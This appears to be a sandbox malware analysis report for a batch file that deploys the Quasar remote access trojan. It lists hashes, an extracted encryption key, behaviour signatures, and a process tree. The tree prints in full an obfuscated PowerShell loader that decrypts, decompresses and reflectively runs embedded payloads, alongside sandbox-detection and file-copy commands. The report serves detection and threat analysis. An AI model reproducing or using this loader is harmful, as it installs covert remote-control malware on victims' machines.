Analysis

  • max time kernel
    10s
  • max time network
    27s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-12-2024 01:57

General

  • Target

    Loli.bat

  • Size

    7.3MB

  • MD5

    8a7f2cf2f4a59fc4220c677d3b8df79e

  • SHA1

    6bb7854dc78dcb7a5e419e5eec371f4a776bb6a7

  • SHA256

    37f8cdab00b96fa1d7f5edd1c0d7ed1c048b7cf0a94b30e4b2fe507dbd69ebff

  • SHA512

    15acdd90a51634c1dbfcbee7dd2822742e42c4618e6590e238ac08abbb26c53e3c3e64e98ddb5439c7499af90eca66bb49c7dfeb5b6e01693e4e521fa5edbfc4

  • SSDEEP

    49152:ATU9DCJDJw+wDkT1uYtsfLfYJZpXAQfiWBpvuLpCKUYCPFJJ+weKaTYHlFYdWKhL:n

Malware Config

Extracted

Family

quasar

Attributes
  • encryption_key

    BF83117B79367DC6A2463E499652930B1A20BE7A

  • reconnect_delay

    3000

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 7 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 59 IoCs
  • Suspicious behavior: EnumeratesProcesses 27 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 16 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:612
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:316
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 316 -s 3732
            3⤵
              PID:1952
          • C:\Windows\System32\dllhost.exe
            C:\Windows\System32\dllhost.exe /Processid:{9bae6853-a6d4-4b6c-9eb5-dfb92a2d7130}
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3352
          • C:\Windows\system32\dwm.exe
            "dwm.exe"
            2⤵
            • Checks SCSI registry key(s)
            • Enumerates system info in registry
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            PID:1516
          • C:\Windows\System32\dllhost.exe
            C:\Windows\System32\dllhost.exe /Processid:{c7a45420-e94b-4587-a892-08f48b242607}
            2⤵
              PID:3980
          • C:\Windows\system32\lsass.exe
            C:\Windows\system32\lsass.exe
            1⤵
            • Suspicious use of WriteProcessMemory
            PID:668
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
            1⤵
              PID:952
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
              1⤵
                PID:536
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                1⤵
                  PID:1040
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                  1⤵
                    PID:1096
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                    1⤵
                      PID:1104
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                      1⤵
                      • Indicator Removal: Clear Windows Event Logs
                      PID:1160
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                      1⤵
                        PID:1172
                        • C:\Windows\system32\taskhostw.exe
                          taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                          2⤵
                            PID:2780
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                          1⤵
                            PID:1268
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                            1⤵
                              PID:1296
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                              1⤵
                                PID:1336
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                1⤵
                                  PID:1412
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                  1⤵
                                    PID:1452
                                    • C:\Windows\system32\sihost.exe
                                      sihost.exe
                                      2⤵
                                        PID:2540
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                      1⤵
                                        PID:1576
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                        1⤵
                                          PID:1592
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                          1⤵
                                            PID:1632
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                            1⤵
                                              PID:1716
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                              1⤵
                                                PID:1752
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                1⤵
                                                  PID:1760
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1900
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                    1⤵
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:1972
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                    1⤵
                                                      PID:2036
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                      1⤵
                                                        PID:1496
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                        1⤵
                                                          PID:1648
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                          1⤵
                                                            PID:2052
                                                          • C:\Windows\System32\spoolsv.exe
                                                            C:\Windows\System32\spoolsv.exe
                                                            1⤵
                                                              PID:2116
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                              1⤵
                                                                PID:2268
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                1⤵
                                                                  PID:2300
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                  1⤵
                                                                    PID:2576
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                    1⤵
                                                                      PID:2616
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                      1⤵
                                                                        PID:2628
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                        1⤵
                                                                          PID:2756
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                          1⤵
                                                                            PID:2800
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                            1⤵
                                                                            • Enumerates connected drives
                                                                            PID:2824
                                                                          • C:\Windows\sysmon.exe
                                                                            C:\Windows\sysmon.exe
                                                                            1⤵
                                                                              PID:2832
                                                                            • C:\Windows\System32\svchost.exe
                                                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                              1⤵
                                                                                PID:2876
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                1⤵
                                                                                  PID:2892
                                                                                • C:\Windows\system32\wbem\unsecapp.exe
                                                                                  C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                  1⤵
                                                                                    PID:3108
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                    1⤵
                                                                                      PID:3416
                                                                                    • C:\Windows\Explorer.EXE
                                                                                      C:\Windows\Explorer.EXE
                                                                                      1⤵
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                      • Suspicious use of SendNotifyMessage
                                                                                      PID:3524
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Loli.bat"
                                                                                        2⤵
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:2808
                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          3⤵
                                                                                            PID:1356
                                                                                          • C:\Windows\system32\fsutil.exe
                                                                                            fsutil fsinfo drives
                                                                                            3⤵
                                                                                              PID:804
                                                                                            • C:\Windows\system32\findstr.exe
                                                                                              findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"
                                                                                              3⤵
                                                                                                PID:736
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                cmd.exe /c echo function mlBf($ELFV){ Invoke-Expression -Verbose -WarningAction Inquire '$cUKE=[JZSyJZsJZteJZm.JZSJZeJZcuJZrJZiJZtJZyJZ.CJZrJZypJZtJZoJZgrJZaJZpJZhJZy.JZAeJZsJZ]:JZ:CJZrJZeJZaJZtJZe(JZ)JZ;'.Replace('JZ', ''); Invoke-Expression -WarningAction Inquire -Verbose '$cUKE.MUcodUceUc=[UcSyUcsUctUcemUc.UcSUceUccUcurUciUctyUc.UcCUcryUcpUctUcoUcgrUcapUchUcy.UcCiUcpUchUceUcrUcMoUcdUce]Uc:Uc:UcCBUcCUc;'.Replace('Uc', ''); Invoke-Expression -Debug -Verbose -WarningAction Inquire -InformationAction Ignore '$cUKE.PGxadGxdGxinGxg=Gx[GxSGxysGxtGxeGxmGx.GxSeGxcGxurGxiGxtGxy.GxCGxrGxyGxptGxogGxrGxapGxhyGx.GxPGxaGxdGxdiGxnGxgMGxoGxdGxe]Gx:Gx:GxPGxKCGxSGx7;'.Replace('Gx', ''); Invoke-Expression -Debug -WarningAction Inquire -Verbose -InformationAction Ignore '$cUKE.KmNeymN=mN[SmNysmNtmNemNm.mNCmNomNnmNvmNermNtmN]:mN:mNFmNromNmmNBmNamNsemN64mNSmNtrmNinmNgmN("7mNxhmNEmNmFmNkymNdmNQmNABmNgmNJmNjmNxmN5SmN2mNzXmN4mNgmNyrmNZmN5mNbmNevmNGYmNPmN6NmN3FmNBmNEmNDmNEmNAsmN=mN");'.Replace('mN', ''); Invoke-Expression -WarningAction Inquire -Debug -InformationAction Ignore '$cUKE.IqHV=qH[qHSyqHstqHeqHmqH.CqHoqHnqHvqHeqHrtqH]qH::qHFqHrqHomqHBqHaqHsqHe6qH4SqHtqHriqHngqH("7qHkeqHvqHCJqHfOqH5qHxqHcGqHIqHhqHeqH7qHI+qH/qHv7qHAqH=qH=");'.Replace('qH', ''); $Llou=$cUKE.CreateDecryptor(); $jyzK=$Llou.TransformFinalBlock($ELFV, 0, $ELFV.Length); $Llou.Dispose(); $cUKE.Dispose(); $jyzK;}function OVPC($ELFV){ Invoke-Expression -WarningAction Inquire -InformationAction Ignore -Verbose -Debug '$AFBf=Nlrewlr-lrOblrjelrclrtlr Slrylrslrtlrelrm.lrIlrO.lrMlrelrmolrrlrylrSlrtrlrealrmlr(,$ELFV);'.Replace('lr', ''); Invoke-Expression -Debug -InformationAction Ignore -Verbose -WarningAction Inquire '$gddj=Nlrewlr-lrOblrjelrclrtlr Slrylrslrtlrelrm.lrIlrO.lrMlrelrmolrrlrylrSlrtrlrealrmlr;'.Replace('lr', ''); Invoke-Expression -WarningAction Inquire -InformationAction Ignore '$tBrH=NPFewPF-PFObPFjePFcPFtPF SPFyPFsPFtPFePFm.PFIPFO.PFCPFoPFmpPFrPFePFsPFsiPFonPF.PFGZPFipPFSPFtPFrPFePFamPF($AFBf, [PFIOPF.PFCoPFmpPFrPFePFssPFiPFoPFnPF.PFCoPFmPFprPFePFsPFsiPFoPFnPFMPFodPFe]PF:PF:DPFecPFoPFmPFpPFrPFesPFsPF);'.Replace('PF', ''); $tBrH.CopyTo($gddj); $tBrH.Dispose(); $AFBf.Dispose(); $gddj.Dispose(); $gddj.ToArray();}function rFaI($ELFV,$XuUO){ Invoke-Expression -Verbose '$cPFF=[PJSyPJsPJtePJm.PJRPJePJflPJePJcPJtPJiPJonPJ.PJAsPJsPJePJmbPJlPJyPJ]PJ::PJLoPJaPJd([byte[]]$ELFV);'.Replace('PJ', ''); Invoke-Expression -InformationAction Ignore '$GtPT=$cPFF.EjyntjyrjyyPjyoijynjyt;'.Replace('jy', ''); Invoke-Expression -WarningAction Inquire -InformationAction Ignore -Verbose -Debug '$GtPT.WqInWqvWqokWqe(Wq$WqnWqulWqlWq, $XuUO);'.Replace('Wq', '');}$TzAi = 'C:\Users\Admin\AppData\Local\Temp\Loli.bat';$host.UI.RawUI.WindowTitle = $TzAi;$drwF=[System.IO.File]::ReadAllText($TzAi).Split([Environment]::NewLine);foreach ($EhXl in $drwF) { if ($EhXl.StartsWith('bhKKm')) { $cwwY=$EhXl.Substring(5); break; }}$tyyO=[string[]]$cwwY.Split('\');Invoke-Expression -InformationAction Ignore -Debug '$jQc = OVPC (mlBf ([zSCozSnzSvezSrtzS]zS:zS:FzSrzSozSmzSBzSaszSezS64zSSzStzSrizSnzSgzS($tyyO[0].Replace("#", "/").Replace("@", "A"))));'.Replace('zS', '');Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Debug '$oYu = OVPC (mlBf ([zSCozSnzSvezSrtzS]zS:zS:FzSrzSozSmzSBzSaszSezS64zSSzStzSrizSnzSgzS($tyyO[1].Replace("#", "/").Replace("@", "A"))));'.Replace('zS', '');Invoke-Expression -InformationAction Ignore -Verbose -WarningAction Inquire '$bao = OVPC (mlBf ([zSCozSnzSvezSrtzS]zS:zS:FzSrzSozSmzSBzSaszSezS64zSSzStzSrizSnzSgzS($tyyO[2].Replace("#", "/").Replace("@", "A"))));'.Replace('zS', '');rFaI $jQc $null;rFaI $oYu $null;rFaI $bao (,[string[]] (''));
                                                                                                3⤵
                                                                                                  PID:4840
                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  powershell.exe -WindowStyle Hidden
                                                                                                  3⤵
                                                                                                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                  • Suspicious use of SetThreadContext
                                                                                                  • Drops file in Windows directory
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:2296
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /C type C:\Users\Admin\AppData\Local\Temp\Loli.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat
                                                                                                    4⤵
                                                                                                    • Drops file in Windows directory
                                                                                                    PID:4760
                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                      5⤵
                                                                                                        PID:1692
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "
                                                                                                      4⤵
                                                                                                        PID:392
                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                          5⤵
                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                          PID:4268
                                                                                                        • C:\Windows\system32\fsutil.exe
                                                                                                          fsutil fsinfo drives
                                                                                                          5⤵
                                                                                                            PID:2236
                                                                                                          • C:\Windows\system32\findstr.exe
                                                                                                            findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"
                                                                                                            5⤵
                                                                                                              PID:2220
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              cmd.exe /c echo function mlBf($ELFV){ Invoke-Expression -Verbose -WarningAction Inquire '$cUKE=[JZSyJZsJZteJZm.JZSJZeJZcuJZrJZiJZtJZyJZ.CJZrJZypJZtJZoJZgrJZaJZpJZhJZy.JZAeJZsJZ]:JZ:CJZrJZeJZaJZtJZe(JZ)JZ;'.Replace('JZ', ''); Invoke-Expression -WarningAction Inquire -Verbose '$cUKE.MUcodUceUc=[UcSyUcsUctUcemUc.UcSUceUccUcurUciUctyUc.UcCUcryUcpUctUcoUcgrUcapUchUcy.UcCiUcpUchUceUcrUcMoUcdUce]Uc:Uc:UcCBUcCUc;'.Replace('Uc', ''); Invoke-Expression -Debug -Verbose -WarningAction Inquire -InformationAction Ignore '$cUKE.PGxadGxdGxinGxg=Gx[GxSGxysGxtGxeGxmGx.GxSeGxcGxurGxiGxtGxy.GxCGxrGxyGxptGxogGxrGxapGxhyGx.GxPGxaGxdGxdiGxnGxgMGxoGxdGxe]Gx:Gx:GxPGxKCGxSGx7;'.Replace('Gx', ''); Invoke-Expression -Debug -WarningAction Inquire -Verbose -InformationAction Ignore '$cUKE.KmNeymN=mN[SmNysmNtmNemNm.mNCmNomNnmNvmNermNtmN]:mN:mNFmNromNmmNBmNamNsemN64mNSmNtrmNinmNgmN("7mNxhmNEmNmFmNkymNdmNQmNABmNgmNJmNjmNxmN5SmN2mNzXmN4mNgmNyrmNZmN5mNbmNevmNGYmNPmN6NmN3FmNBmNEmNDmNEmNAsmN=mN");'.Replace('mN', ''); Invoke-Expression -WarningAction Inquire -Debug -InformationAction Ignore '$cUKE.IqHV=qH[qHSyqHstqHeqHmqH.CqHoqHnqHvqHeqHrtqH]qH::qHFqHrqHomqHBqHaqHsqHe6qH4SqHtqHriqHngqH("7qHkeqHvqHCJqHfOqH5qHxqHcGqHIqHhqHeqH7qHI+qH/qHv7qHAqH=qH=");'.Replace('qH', ''); $Llou=$cUKE.CreateDecryptor(); $jyzK=$Llou.TransformFinalBlock($ELFV, 0, $ELFV.Length); $Llou.Dispose(); $cUKE.Dispose(); $jyzK;}function OVPC($ELFV){ Invoke-Expression -WarningAction Inquire -InformationAction Ignore -Verbose -Debug '$AFBf=Nlrewlr-lrOblrjelrclrtlr Slrylrslrtlrelrm.lrIlrO.lrMlrelrmolrrlrylrSlrtrlrealrmlr(,$ELFV);'.Replace('lr', ''); Invoke-Expression -Debug -InformationAction Ignore -Verbose -WarningAction Inquire '$gddj=Nlrewlr-lrOblrjelrclrtlr Slrylrslrtlrelrm.lrIlrO.lrMlrelrmolrrlrylrSlrtrlrealrmlr;'.Replace('lr', ''); Invoke-Expression -WarningAction Inquire -InformationAction Ignore '$tBrH=NPFewPF-PFObPFjePFcPFtPF SPFyPFsPFtPFePFm.PFIPFO.PFCPFoPFmpPFrPFePFsPFsiPFonPF.PFGZPFipPFSPFtPFrPFePFamPF($AFBf, [PFIOPF.PFCoPFmpPFrPFePFssPFiPFoPFnPF.PFCoPFmPFprPFePFsPFsiPFoPFnPFMPFodPFe]PF:PF:DPFecPFoPFmPFpPFrPFesPFsPF);'.Replace('PF', ''); $tBrH.CopyTo($gddj); $tBrH.Dispose(); $AFBf.Dispose(); $gddj.Dispose(); $gddj.ToArray();}function rFaI($ELFV,$XuUO){ Invoke-Expression -Verbose '$cPFF=[PJSyPJsPJtePJm.PJRPJePJflPJePJcPJtPJiPJonPJ.PJAsPJsPJePJmbPJlPJyPJ]PJ::PJLoPJaPJd([byte[]]$ELFV);'.Replace('PJ', ''); Invoke-Expression -InformationAction Ignore '$GtPT=$cPFF.EjyntjyrjyyPjyoijynjyt;'.Replace('jy', ''); Invoke-Expression -WarningAction Inquire -InformationAction Ignore -Verbose -Debug '$GtPT.WqInWqvWqokWqe(Wq$WqnWqulWqlWq, $XuUO);'.Replace('Wq', '');}$TzAi = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $TzAi;$drwF=[System.IO.File]::ReadAllText($TzAi).Split([Environment]::NewLine);foreach ($EhXl in $drwF) { if ($EhXl.StartsWith('bhKKm')) { $cwwY=$EhXl.Substring(5); break; }}$tyyO=[string[]]$cwwY.Split('\');Invoke-Expression -InformationAction Ignore -Debug '$jQc = OVPC (mlBf ([zSCozSnzSvezSrtzS]zS:zS:FzSrzSozSmzSBzSaszSezS64zSSzStzSrizSnzSgzS($tyyO[0].Replace("#", "/").Replace("@", "A"))));'.Replace('zS', '');Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Debug '$oYu = OVPC (mlBf ([zSCozSnzSvezSrtzS]zS:zS:FzSrzSozSmzSBzSaszSezS64zSSzStzSrizSnzSgzS($tyyO[1].Replace("#", "/").Replace("@", "A"))));'.Replace('zS', '');Invoke-Expression -InformationAction Ignore -Verbose -WarningAction Inquire '$bao = OVPC (mlBf ([zSCozSnzSvezSrtzS]zS:zS:FzSrzSozSmzSBzSaszSezS64zSSzStzSrizSnzSgzS($tyyO[2].Replace("#", "/").Replace("@", "A"))));'.Replace('zS', '');rFaI $jQc $null;rFaI $oYu $null;rFaI $bao (,[string[]] (''));
                                                                                                              5⤵
                                                                                                                PID:2016
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell.exe -WindowStyle Hidden
                                                                                                                5⤵
                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                PID:5108
                                                                                                                • C:\Windows\System32\schtasks.exe
                                                                                                                  "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F
                                                                                                                  6⤵
                                                                                                                    PID:2972
                                                                                                          • C:\Windows\$nya-onimai2\GfSDSA.exe
                                                                                                            "C:\Windows\$nya-onimai2\GfSDSA.exe"
                                                                                                            2⤵
                                                                                                              PID:1776
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                            1⤵
                                                                                                              PID:3652
                                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                                              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                              1⤵
                                                                                                                PID:3844
                                                                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                1⤵
                                                                                                                  PID:3996
                                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                  1⤵
                                                                                                                    PID:2744
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                    1⤵
                                                                                                                      PID:4340
                                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                      1⤵
                                                                                                                        PID:4188
                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                                        1⤵
                                                                                                                          PID:4044
                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                                          1⤵
                                                                                                                            PID:2440
                                                                                                                          • C:\Windows\system32\SppExtComObj.exe
                                                                                                                            C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                                            1⤵
                                                                                                                              PID:4396
                                                                                                                            • C:\Windows\System32\svchost.exe
                                                                                                                              C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                              1⤵
                                                                                                                                PID:3172
                                                                                                                              • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                                "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                                1⤵
                                                                                                                                  PID:3964
                                                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                  1⤵
                                                                                                                                    PID:3724
                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                                    1⤵
                                                                                                                                      PID:2764
                                                                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                      1⤵
                                                                                                                                        PID:312
                                                                                                                                      • C:\Windows\System32\svchost.exe
                                                                                                                                        C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                                        1⤵
                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                        PID:4476
                                                                                                                                      • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                                                        C:\Windows\System32\WaaSMedicAgent.exe df14d2a12e65e5007264caa7d6f58049 0s9IRaWSC06SWoUTa6dUkQ.0.1.0.0.0
                                                                                                                                        1⤵
                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                        PID:2064
                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          2⤵
                                                                                                                                            PID:1504
                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                                          1⤵
                                                                                                                                          • Drops file in Windows directory
                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                          PID:5064
                                                                                                                                        • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                          C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                          1⤵
                                                                                                                                          • Writes to the Master Boot Record (MBR)
                                                                                                                                          PID:4344

                                                                                                                                        Network

                                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                                        Replay Monitor

                                                                                                                                        Loading Replay Monitor...

                                                                                                                                        Downloads

                                                                                                                                        • C:\ProgramData\Microsoft\Windows\WER\Temp\WER950C.tmp.csv

                                                                                                                                          Filesize

                                                                                                                                          38KB

                                                                                                                                          MD5

                                                                                                                                          055ac7b0e5190095e4f950d31b7b6e58

                                                                                                                                          SHA1

                                                                                                                                          efc97ed49310000ba91899b427f78be07e2a402e

                                                                                                                                          SHA256

                                                                                                                                          ad9646c3160c39e9386e7cadc9be0c0e5472f073a2a5f90ac7abd3e1e71bab65

                                                                                                                                          SHA512

                                                                                                                                          5d3cc504de95f391309dc8762de42c2b64f0fdb2b262678313870caf7f2261a5ff80005788e2b419d55fc429422404803f2fc319aeac80163a86f3e50bd915a6

                                                                                                                                        • C:\ProgramData\Microsoft\Windows\WER\Temp\WER955B.tmp.txt

                                                                                                                                          Filesize

                                                                                                                                          13KB

                                                                                                                                          MD5

                                                                                                                                          37a0c9cc5b8a2b1a25e0523d94533357

                                                                                                                                          SHA1

                                                                                                                                          b1e27bed1379364f59e265c90168e4b7d3d10103

                                                                                                                                          SHA256

                                                                                                                                          bcdbafc5bb01312ebf92a51d021c83b1707674f5aadcd0f4d614d328ad81ce3d

                                                                                                                                          SHA512

                                                                                                                                          aedf4be4f6e8ec2e3d649de7b81978a1451432cdabb7fa69fb18e419ef67f42c39f5eac1a38999d5cf1b3144c889a149a1ffe90cd9c188edb94228bae567bb90

                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                          Filesize

                                                                                                                                          3KB

                                                                                                                                          MD5

                                                                                                                                          77650fb3a039e2abd02f3ab6bf592576

                                                                                                                                          SHA1

                                                                                                                                          fd1e506d7014ab2de74aa7168c574834d433045e

                                                                                                                                          SHA256

